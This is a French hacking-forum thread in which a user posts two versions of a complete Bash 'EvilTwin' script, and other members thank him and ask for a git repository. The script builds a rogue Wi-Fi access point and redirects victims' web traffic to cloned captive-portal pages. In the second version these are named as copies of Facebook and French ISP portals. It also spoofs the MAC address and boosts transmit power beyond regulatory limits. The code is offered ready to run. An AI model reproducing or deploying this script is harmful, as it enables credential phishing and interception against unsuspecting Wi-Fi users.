Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 11-08-2017 17:13:49

GreyBird
Membre Hyperactif
Inscription : 06-09-2015
Messages : 61

Script EvilTwin : un script qu'il est bien à lancer

Je vous propose aujourd'hui un petit script qui va vous permettre de mettre en place un RogueAP les doigts dans le nez.


Certes le nom n'est pas très originel et bien que cela paraisse un peu réchauffé, je vous propose ce petit outil qui pourrait en inspirer certains.

Je tient à remercier Crack-Wifi et sa communauté pour toutes les infos que j'ai pu y trouver, les personnes qui m'ont aidées directement ou indirectement. biere

Attention : ce script a été rédigé pour fonctionner sur un live de Kali linux, il n'a pas été testé sur un autre OS
Il y a quelques pré-requis au bon fonctionnement de ce script :
-avoir hostapd installé
-avoir une connexion Internet
-avoir une deuxième carte wifi


Arborescence nécessaire :
-créer un dossier EvilTwin (ou autre, c'est vous qui choissisez après tout)
-placer le script (ci-dessous) en .sh dans le dossier EvilTwin
-placer le script extract.sh dans EvilTwin
-créer un dossier "site" à l'intérieur de EvilTwin et y mettre vos pages Web favorites (chacuns dans un dossier)

                    |   eviltwin.sh

EvilTwin/ --> |   extract.sh
       
                    |     site/     | --> |  site1 site2 site3 site4 site5 ...

Voilà pour la topologie


Au lancement du script nous avons au menu :

-choix du ESSID
-choix de l'interface réceptrice de connexion et choix de l'interface émettrice
-choix de cloner ou non une page Web (pas obligatoire)
-choix de modifier l'adresse mac de la carte émettrice
-choix de modifier le Tx Power de la carte émettrice (Attention avec cette option à ne pas grille votre carte ! Il n'y pas de gestion de saisie utilisateur implantée, vous savez ce que vous faites)


Extract.sh qu'es aquo ?
L'idée était d'avoir un petit monitoring du point d'accès. Celui se fait grâce à l'analyse du fichier leases généré par le serveur dhcp
Je n'ai personnellement pas réussi à l'intégrer dans le script principal lui-même, j'y fait donc appel dans une fenêtre Xterm

Donc, à enregistrer dans un fichier extract.sh

#!/bin/bash

tail -f /tmp/leases.txt | awk -F " " '{print $3 "   ||   " $2}'

On créer un fichier eviltwin.sh et on y met tout ça dedans (oui c'est un peu long, désolé)

Attention, certains points sont à adapter en fonction de votre configuration, notamment la variable $site présente au tout début (cette variable prend comme valeur le path vers le dossier "site")


f_menu()

{

clear

echo -e "${jaune}
  ______     _ _ _______       _       
 |  ____|   (_) |__   __|     (_)      
 | |____   ___| |  | |_      ___ _ __  
 |  __\ \ / / | |  | \ \ /\ / / | '_ \ 
 | |___\ V /| | |  | |\ V  V /| | | | |
 |______\_/ |_|_|  |_| \_/\_/ |_|_| |_| 1.4${neutre}"

echo -e "						###################"
echo -e "						####${rouge} by GB ${neutre}####"
echo -e "						###################"

}


f_site()

{

site="/EvilTwin/site"


#Grâce à cette commande on liste le contenu du dossier site
#Puis avec grep on ne retient que les lignes qui correspondent au dossier
#Avec awk on définit le délimitateur " " (un espace), puis on prend le 9ème champs
#soit, le nom du dossier (la 9ème colonne en partant de la gauche dans le terminal)
#Ensuite on tri dans l'ordre alphabétique avec sort
#nl permet la numérotation automatique des lignes

ls -l $site | grep dr | awk -F " " '{print $9}' | sort | nl



echo -e "${bleu}\nQuel site cloner ?${neutre}"
read nb


if [ $nb = 1 ];then
	cp -r $site/site1/* /var/www/html/

elif [ $nb = 2 ];then 
	cp -r $site/site2/* /var/www/html/

elif [ $nb = 3 ];then 
	cp -r $site/site3/* /var/www/html/

elif [ $nb = 4 ];then 
	cp -r $site/site4/* /var/www/html/

elif [ $nb = 5 ];then  
	cp -r $site/site5/* /var/www/html/

elif [ $nb = 6 ];then
	cp -r $site/site6/* /var/www/html/

elif [ $nb = 7 ];then
	cp -r $site/site7/* /var/www/html/

elif [ $nb = 8 ];then
	cp -r $site/site8/* /var/www/html/

elif [ $nb = 9 ];then 
	cp -r $site/site9/* /var/www/html/

elif [ $nb = 10 ];then 
	cp -r $site/site10/* /var/www/html/


fi

}


if [ $UID != 0 ];then
	echo -e "\033[31m Le script doit être lancé en root \033[0m"
	exit
fi

gris='\e[1;30m'
rouge='\e[;31m'
rougegras='\e[1;31m'
vert='\e[1;32m'
vertclair='\e[0;32m'
dore='\e[33m'
jaune='\e[1;33m'
bleu='\e[1;34m'
violet='\e[1;35m'
cyan='\e[1;36m'
grisclair='\e[1;37m'
blanc='\e[1;37m'

neutre='\e[0;m'




f_menu

#Configuration intiale (ESSID, interface IN/OUT, MAC add de l'AP, TX Power...)
echo -e "${bleu}\nESSID choisi ?${neutre}"
read ESSID

f_menu


echo -e "${bleu}Interfaces disponibles :"   ${vert} $(ifconfig | grep wl | cut -c-5)  ${neutre}

echo -e "${bleu}\nInterface de réception ?${neutre}"
read INPUT

echo -e "${bleu}\nInterface d'émission ?${neutre}"
read AP

f_menu

echo -e "${bleu}\nVoulez-vous cloner une page web ? ${vert}(O/N)${neutre}"
read choix_site

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then

f_site

fi

f_menu

echo -e "${bleu}Voulez-vous changer la MAC Address de ${rouge}$AP ${bleu}? ${vert}(O/N)${neutre}"
read mac

f_menu

echo -e "${bleu}Augmentation du TXpower ? ${vert}(O/N)${neutre}"
read txpower
if [ $txpower = "O" ] || [ $txpower = "o" ];then
	Old_TX=$(iwconfig $AP | grep Tx-Power | awk -F = '{print $2}' | awk -F " " '{print $1}')
	echo -e "${bleu}Quelle valeur de Tx Power ?${neutre}"
	read tx
fi

f_menu

#Par défaut, Network Manager s'acappare n'importe quel périphérique réseau
#Cette ligne permet alors de lui indiquer de ne pas s'occuper de l'AP
#Ajout de configuration dans le fichier de configuration du Network Manager
#Reboot du service pour prise en compte de la modification

echo -e "${dore}\nConfiguration de Network-Manager${neutre}"

mv /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf_bak

echo "[main]
plugins=ifupdown,keyfile

[ifupdown]
managed=false
[keyfile]
unmanaged-devices=interface-name:$AP" > /etc/NetworkManager/NetworkManager.conf
service network-manager restart

sleep 3

echo -e "${dore}Création des fichiers de configuration de Hostpad et de DnsMasq${neutre}"

#Création du fichier de configuration de Hostapd
#Pour du Wifi n, rajouter ht_capab=[HT40][SHORT-GI-40][RX-STBC1][MAX-AMSDU-3839] dans la configuration

echo "
interface=$AP
driver=nl80211
ssid=$ESSID
channel=11

hw_mode=g
ieee80211n=1
wmm_enabled=1
ht_capab=[HT40][SHORT-GI-40][RX-STBC1][MAX-AMSDU-3839]

" > /tmp/hostapd.conf
chmod 777 /tmp/hostapd.conf

#Création du fichier de configuration de DNSmasq

#dhcp-option=NumOption/Paramètres -> permet de définir les options DHCP
#dhcp-option=1,IP -> Masque de sous réseau
#dhcp-option=3,IP -> Gateway
#dhcp-option=6,IP -> DNS
#dhcp-option=28,IP -> Serveur de broadcast

echo "
interface=$AP
listen-address=10.0.0.1
no-dhcp-interface=lo
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-leasefile=/tmp/leases.txt
dhcp-range=10.0.0.10,10.0.0.50,255.255.255.0,1h" > /tmp/dhcp.conf

chmod 777 /tmp/dhcp.conf

#Cette ligne permet de lancer XTerm depuis le compte root
unset SESSION_MANAGER


ifconfig $AP down


#Augmentation de la puissance d'émission avec le code région GY
if [ $txpower = "O" ] || [ $txpower = "o" ];then

	iw reg set GY
	iwconfig $AP txpower $tx
	sleep 1
fi



#Modification de l'adresse MAC
if [ $mac = "O" ] || [ $mac = "o" ];then

	New_Mac=$(macchanger -A $AP | grep New | awk -F " " '{print $3}')

fi

#Attribution de l'adresse IP de l'interface servant l'AP 
#Activation de l'IP forwarding pour redirection de paquets

echo 1 > /proc/sys/net/ipv4/ip_forward

ifconfig $AP up
sleep 1
ifconfig $AP 10.0.0.1 netmask 255.255.255.0

if [ $txpower = "O" ] || [ $txpower = "o" ];then 

	New_TX=$(iwconfig $AP | grep Tx-Power | awk -F = '{print $2}')
	echo -e "${vert}\nNouveau TX-Power : ${rouge}$New_TX${neutre}"
fi

if [ $mac = "O" ] || [ $mac = "o" ];then 
	echo -e "${vert}Nouvelle adresse MAC :" ${rouge}"["$New_Mac"]" ${neutre}
fi

#Règles IPTables pour redirection efficaces des clients
echo -e "${vert}Lancement des services${neutre}"

iptables -A FORWARD -i $AP -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
iptables -t nat -A POSTROUTING -o $INPUT -j MASQUERADE


#Lancement des services et de Hostapd/Dnsmasq/Apache2 


dnsmasq -C /tmp/dhcp.conf

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then
	#Permet d'associer le index.html à la racine à la page 404 par défaut	
	echo "ErrorDocument 404 var/www/html/index.html" > /var/www/html/.htaccess
	chmod 777 -R /var/www/*
	service apache2 start

fi


xterm -hold -title AccessPoint -geometry 96x14 -e hostapd /tmp/hostapd.conf &
xterm -hold -title Monitoring -geometry 35x24 -e /media/root/toolbox/Kali/EvilTwin/extract.sh &
echo -e "${vert}Le reseau est operationnel ! Have fun and The quieter you become...${neutre}"
echo -e "${rougegras}\nAppuyez sur une touche pour terminer le script${neutre}"
read touche

#------------------------------------------------------------------------------------------------------------------------------En attente d'arrêt


killall hostapd && echo -e "${jaune}Arrêt de HostAPd${neutre}"
killall dnsmasq && echo -e "${jaune}Arrêt de DNSmasq${neutre}"
killall xterm

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then
	
	service apache2 stop && echo -e "${jaune}Arrêt de Apache2${neutre}"
	rm /var/www/html/.htaccess
	rm -r /var/www/html/*

fi

echo -e "${jaune}Nettoyage des fichiers et de la configuration mise en place${neutre}"
	
	rm /tmp/hostapd.conf
	rm /tmp/dhcp.conf
	rm /tmp/leases.txt

	echo 0 > /proc/sys/net/ipv4/ip_forward

	rm  /etc/NetworkManager/NetworkManager.conf
	mv /etc/NetworkManager/NetworkManager.conf_bak /etc/NetworkManager/NetworkManager.conf


	ifconfig $AP down

if [ $txpower = "O" ] || [ $txpower = "o" ];then
	iw reg set 00
	iwconfig $AP txpower $Old_TX
fi

	
if [ $mac = "O" ] || [ $mac = "o" ];then

	macchanger -p $AP &> /dev/null
fi

	ifconfig $AP up
	service network-manager restart
	sleep 3

echo -e "${jaune}Suppression des chaînes Iptables${neutre}"
	iptables --flush
	iptables --table nat --flush
	iptables --delete-chain
	iptables --table nat --delete-chain

Pour ceux qui sont curieux voici quelques détails du fonctionnement de l'outil.

-Une petite fonction f_menu parce que sinon c'est triste
-Une fonction pour copier le site de son choix (on aurai pu d'ailleurs l'optimiser, là c'est du bête si - sinon - si)
-Différents choix de saisie pour copier un site, changer l'adresse MAC, changer le Tx Power...

Ensuite, on spécifie dans le fichier de NetworkManager qu'il ne doit pas s'occuper de l'interface d'émission (il y a une petite explication dans le script)

On met en place la configuration d'Hostapd dans un fichier dans /tmp
De même pour le fichier de conf du serveur DHCP (toujours dans tmp)
Noter que l'adressage se fait sur un réseau en 10.0.0.0/24, 10.0.0.10 à 10.0.0.50
L'interface émettrice se verra adresser en 10.0.0.1

Par la suite le script se charge de configurer le Tx Power si besoin et de changer l'adresse MAC

On active l'IP Forwarding pour faire transiter les paquets d'une interface à une autre
On applique ensuite les règles IPtables pour rediriger le traffic http vers le serveur Apache (si on a choisi de copier une page Web au début du script, sinon il n'est pas démarré).

On lance dnsmasq puis dans 2 fenêtres Xterm :
-hostapd
-le monitoring du point d'accès grâce à extract.sh

Après tout ça on s'envoi en l'air smile

Quand on appui sur une touche, le script va se contenter de nettoyer ce qui a été mis en place :
-les fichiers de configuration dans /tmp sont effacés
-hostapd, dnsmasq arrêté
-arrêt de Apache2 si démarré et nettoyage du dossier /var/www/html/
-restauration du Tx Power initial
-restauration de la MAC originelle
-nettoyage des règles IPTavbles

Il y a sans doute beaucoup de choses à améliorer, n'hésitez pas, cela pourrait devenir un outil commun

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 14-08-2017 21:12:11

GreyBird
Membre Hyperactif
Inscription : 06-09-2015
Messages : 61

Re : Script EvilTwin : un script qu'il est bien à lancer

Salut les amis,

je vous propose une nouvelle version

Même plus besoin de extract.sh, tout se passe avec l'outil Netdiscover
En revanche l'arborescence avec les sites est toujours requises si vous avez besoin de page à copier, sauf adaptation pour les plus barbus d'entre vous
On copie-colle tout ça dans un fichier eviltwin.sh et on s'envoie en l'air

f_menu()

{

clear

echo -e "${jaune}
  ______     _ _ _______       _       
 |  ____|   (_) |__   __|     (_)      
 | |____   ___| |  | |_      ___ _ __  
 |  __\ \ / / | |  | \ \ /\ / / | '_ \ 
 | |___\ V /| | |  | |\ V  V /| | | | |
 |______\_/ |_|_|  |_| \_/\_/ |_|_| |_| 1.5${neutre}"

echo -e "						###################"
echo -e "						####${rouge} by GB ${neutre}####"
echo -e "						###################"

}


f_site()

{

site="/home/user/toolbox/Kali/EvilTwin/site"


#Grâce à cette commande on liste le contenu du dossier site
#Puis avec grep on ne retient que les lignes qui correspondent au dossier
#Avec awk on définit le délimitateur " " (un espace), puis on prend le 9ème champs
#soit, le nom du dossier (la 9ème colonne en partant de la gauche dans le terminal)
#Ensuite on tri dans l'ordre alphabétique avec sort
#nl permet la numérotation automatique des lignes

ls -l $site | grep dr | awk -F " " '{print $9}' | sort | nl



echo -e "${bleu}\nQuel site cloner ?${neutre}"
read nb


if [ $nb = 1 ];then
	cp -r $site/BBox/* /var/www/html/

elif [ $nb = 2 ];then 
	cp -r $site/FB/* /var/www/html/

elif [ $nb = 3 ];then 
	cp -r $site/Freebox/* /var/www/html/

elif [ $nb = 4 ];then 
	cp -r $site/FreeWifi/* /var/www/html/

elif [ $nb = 5 ];then  
	cp -r $site/Livebox/* /var/www/html/

elif [ $nb = 6 ];then
	cp -r $site/Mediatheque/* /var/www/html/

elif [ $nb = 7 ];then
	cp -r $site/Numericable/* /var/www/html/

elif [ $nb = 8 ];then
	cp -r $site/Portail/* /var/www/html/

elif [ $nb = 9 ];then 
	cp -r $site/SFR/* /var/www/html/

elif [ $nb = 10 ];then 
	cp -r $site/SFR_WiFi_FON/* /var/www/html/


fi

}


if [ $UID != 0 ];then
	echo -e "\033[31m Le script doit être lancé en root \033[0m"
	exit
fi

gris='\e[1;30m'
rouge='\e[;31m'
rougegras='\e[1;31m'
vert='\e[1;32m'
vertclair='\e[0;32m'
dore='\e[33m'
jaune='\e[1;33m'
bleu='\e[1;34m'
violet='\e[1;35m'
cyan='\e[1;36m'
grisclair='\e[1;37m'
blanc='\e[1;37m'

neutre='\e[0;m'




f_menu

#Configuration intiale (ESSID, interface IN/OUT, MAC add de l'AP, TX Power...)
echo -e "${bleu}\nESSID choisi ?${neutre}"
read ESSID

f_menu


echo -e "${bleu}Interfaces disponibles :"   ${vert} $(ifconfig | grep wl | cut -c-5)  ${neutre}

echo -e "${bleu}\nInterface de réception ?${neutre}"
read INPUT

echo -e "${bleu}\nInterface d'émission ?${neutre}"
read AP

f_menu

echo -e "${bleu}\nVoulez-vous cloner une page web ? ${vert}(O/N)${neutre}"
read choix_site

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then

f_site

fi

f_menu

echo -e "${bleu}Voulez-vous changer la MAC Address de ${rouge}$AP ${bleu}? ${vert}(O/N)${neutre}"
read mac

f_menu

echo -e "${bleu}Augmentation du TXpower ? ${vert}(O/N)${neutre}"
read txpower
if [ $txpower = "O" ] || [ $txpower = "o" ];then
	Old_TX=$(iwconfig $AP | grep Tx-Power | awk -F = '{print $2}' | awk -F " " '{print $1}')
	echo -e "${bleu}Quelle valeur de Tx Power ?${neutre}"
	read tx
fi

f_menu

#Par défaut, Network Manager s'acappare n'importe quel périphérique réseau
#Cette ligne permet alors de lui indiquer de ne pas s'occuper de l'AP
#Ajout de configuration dans le fichier de configuration du Network Manager
#Reboot du service pour prise en compte de la modification

echo -e "${dore}\nConfiguration de Network-Manager${neutre}"

mv /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf_bak

echo "[main]
plugins=ifupdown,keyfile

[ifupdown]
managed=false
[keyfile]
unmanaged-devices=interface-name:$AP" > /etc/NetworkManager/NetworkManager.conf
service network-manager restart

sleep 3

echo -e "${dore}Création des fichiers de configuration de Hostpad et de DnsMasq${neutre}"

#Création du fichier de configuration de Hostapd
#Pour du Wifi n, rajouter ht_capab=[HT40][SHORT-GI-40][RX-STBC1][MAX-AMSDU-3839] dans la configuration

echo "
interface=$AP
driver=nl80211
ssid=$ESSID
channel=11

hw_mode=g
ieee80211n=1
wmm_enabled=1
ht_capab=[HT40][SHORT-GI-40][RX-STBC1][MAX-AMSDU-3839]

" > /tmp/hostapd.conf
chmod 777 /tmp/hostapd.conf

#Création du fichier de configuration de DNSmasq

#dhcp-option=NumOption/Paramètres -> permet de définir les options DHCP
#dhcp-option=1,IP -> Masque de sous réseau
#dhcp-option=3,IP -> Gateway
#dhcp-option=6,IP -> DNS
#dhcp-option=28,IP -> Serveur de broadcast

echo "
interface=$AP
listen-address=10.0.0.1
no-dhcp-interface=lo
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-leasefile=/tmp/leases.txt
dhcp-range=10.0.0.10,10.0.0.50,255.255.255.0,1h" > /tmp/dhcp.conf

chmod 777 /tmp/dhcp.conf

#Cette ligne permet de lancer XTerm depuis le compte root
unset SESSION_MANAGER


ifconfig $AP down


#Augmentation de la puissance d'émission avec le code région GY
if [ $txpower = "O" ] || [ $txpower = "o" ];then

	iw reg set GY
	iwconfig $AP txpower $tx
	sleep 1
fi



#Modification de l'adresse MAC
if [ $mac = "O" ] || [ $mac = "o" ];then

	New_Mac=$(macchanger -A $AP | grep New | awk -F " " '{print $3}')

fi

#Attribution de l'adresse IP de l'interface servant l'AP 
#Activation de l'IP forwarding pour redirection de paquets

echo 1 > /proc/sys/net/ipv4/ip_forward

ifconfig $AP up
sleep 1
ifconfig $AP 10.0.0.1 netmask 255.255.255.0

if [ $txpower = "O" ] || [ $txpower = "o" ];then 

	New_TX=$(iwconfig $AP | grep Tx-Power | awk -F = '{print $2}')
	echo -e "${vert}\nNouveau TX-Power : ${rouge}$New_TX${neutre}"
fi

if [ $mac = "O" ] || [ $mac = "o" ];then 
	echo -e "${vert}Nouvelle adresse MAC :" ${rouge}"["$New_Mac"]" ${neutre}
fi

#Règles IPTables pour redirection efficaces des clients
echo -e "${vert}Lancement des services${neutre}"

iptables -A FORWARD -i $AP -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
iptables -t nat -A POSTROUTING -o $INPUT -j MASQUERADE

#iptables -t nat -A POSTROUTING -o $INPUT -j MASQUERADE
#iptables -A FORWARD -i $INPUT -o $AP -m state --state RELATED,ESTABLISHED -j ACCEPT
#iptables -A FORWARD -i $AP -o $INPUT -j ACCEPT
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
#iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 10.0.0.1
#iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.1:443
#iptables -A INPUT -p tcp --sport 443 -j ACCEPT
#iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT

#Lancement des services et de Hostapd/Dnsmasq/Apache2 


dnsmasq -C /tmp/dhcp.conf

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then
	#Permet d'associer le index.html à la racine à la page 404 par défaut	
	echo "ErrorDocument 404 var/www/html/index.html" > /var/www/html/.htaccess
	chmod 777 -R /var/www/*
	service apache2 start

fi


xterm -hold -title AccessPoint -geometry 96x14 -e hostapd /tmp/hostapd.conf &
xterm -hold -title Monitoring -geometry 85x20 -e netdiscover -i $AP -r 10.0.0.0/24 -s 100 -p &
echo -e "${vert}Le reseau est operationnel ! Have fun and The quieter you become...${neutre}"
echo -e "${rougegras}\nAppuyez sur ENTER pour terminer le script${neutre}"
read touche

#------------------------------------------------------------------------------------------------------------------------------En attente d'arrêt


killall hostapd && echo -e "${jaune}Arrêt de HostAPd${neutre}"
killall dnsmasq && echo -e "${jaune}Arrêt de DNSmasq${neutre}"
killall xterm

if [ $choix_site = "O" ] || [ $choix_site = "o" ];then
	
	service apache2 stop && echo -e "${jaune}Arrêt de Apache2${neutre}"
	rm /var/www/html/.htaccess
	rm -r /var/www/html/*

fi

echo -e "${jaune}Nettoyage des fichiers et de la configuration mise en place${neutre}"
	
	rm /tmp/hostapd.conf
	rm /tmp/dhcp.conf
	rm /tmp/leases.txt

	echo 0 > /proc/sys/net/ipv4/ip_forward

	rm  /etc/NetworkManager/NetworkManager.conf
	mv /etc/NetworkManager/NetworkManager.conf_bak /etc/NetworkManager/NetworkManager.conf


	ifconfig $AP down

if [ $txpower = "O" ] || [ $txpower = "o" ];then
	iw reg set 00
	iwconfig $AP txpower $Old_TX
fi

	
if [ $mac = "O" ] || [ $mac = "o" ];then

	macchanger -p $AP &> /dev/null
fi

	ifconfig $AP up
	service network-manager restart
	sleep 3

echo -e "${jaune}Suppression des chaînes Iptables${neutre}"
	iptables --flush
	iptables --table nat --flush
	iptables --delete-chain
	iptables --table nat --delete-chain

#	set SESSION_MANAGER

Hors Ligne

#3 14-08-2017 21:28:56

disquette
Membre Indéboulonnable
Inscription : 26-12-2015
Messages : 135

Re : Script EvilTwin : un script qu'il est bien à lancer

Merci pour ton script GreyBird, tu pourrais le déposer sur git ?


Kali Rolling  4.11.0-kali1-amd64 #1 SMP Debian 4.11.6-1kali1 (2017-06-21) x86_64 GNU/Linux
Alfa AWUS036ACH / Alfa AWUS036H / Alfa AWUS036NH / TP-LINK TL-ANT2415D
baia5Ec2D4JPswHFDhl9nA.png

Hors Ligne

#4 14-08-2017 22:00:45

Sinaï00
Membre Radioactif
Inscription : 08-04-2015
Messages : 67

Re : Script EvilTwin : un script qu'il est bien à lancer

Cool dés que j'ai le temps j'essaye ça smile merci beaucoup wink

Hors Ligne

#5 15-08-2017 11:41:12

GreyBird
Membre Hyperactif
Inscription : 06-09-2015
Messages : 61

Re : Script EvilTwin : un script qu'il est bien à lancer

disquette a écrit :

Merci pour ton script GreyBird, tu pourrais le déposer sur git ?

Très bonne idée, j'ai d'alleurs regardé ça hier...ça a l'air un peu complexe non ?
Je vous avoue que j'ai regardé quelques infos à la va-vite, mais cette histoire de branche et de dossier master...pfiou roll

Mais c'est vrai que git c'est bien pratique !

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
0 230 19-08-2017 14:01:56 par Morojgovany
26 2735 17-08-2017 17:33:16 par Bobyco
4 1831 15-08-2017 17:45:52 par M1ck3y
Hostbase V0.9 rogue AP script par koala  [ 1 2 3 4 5 ]
108 5195 11-08-2017 20:52:20 par koala
122 5284 25-01-2017 14:35:55 par disquette

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.027 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]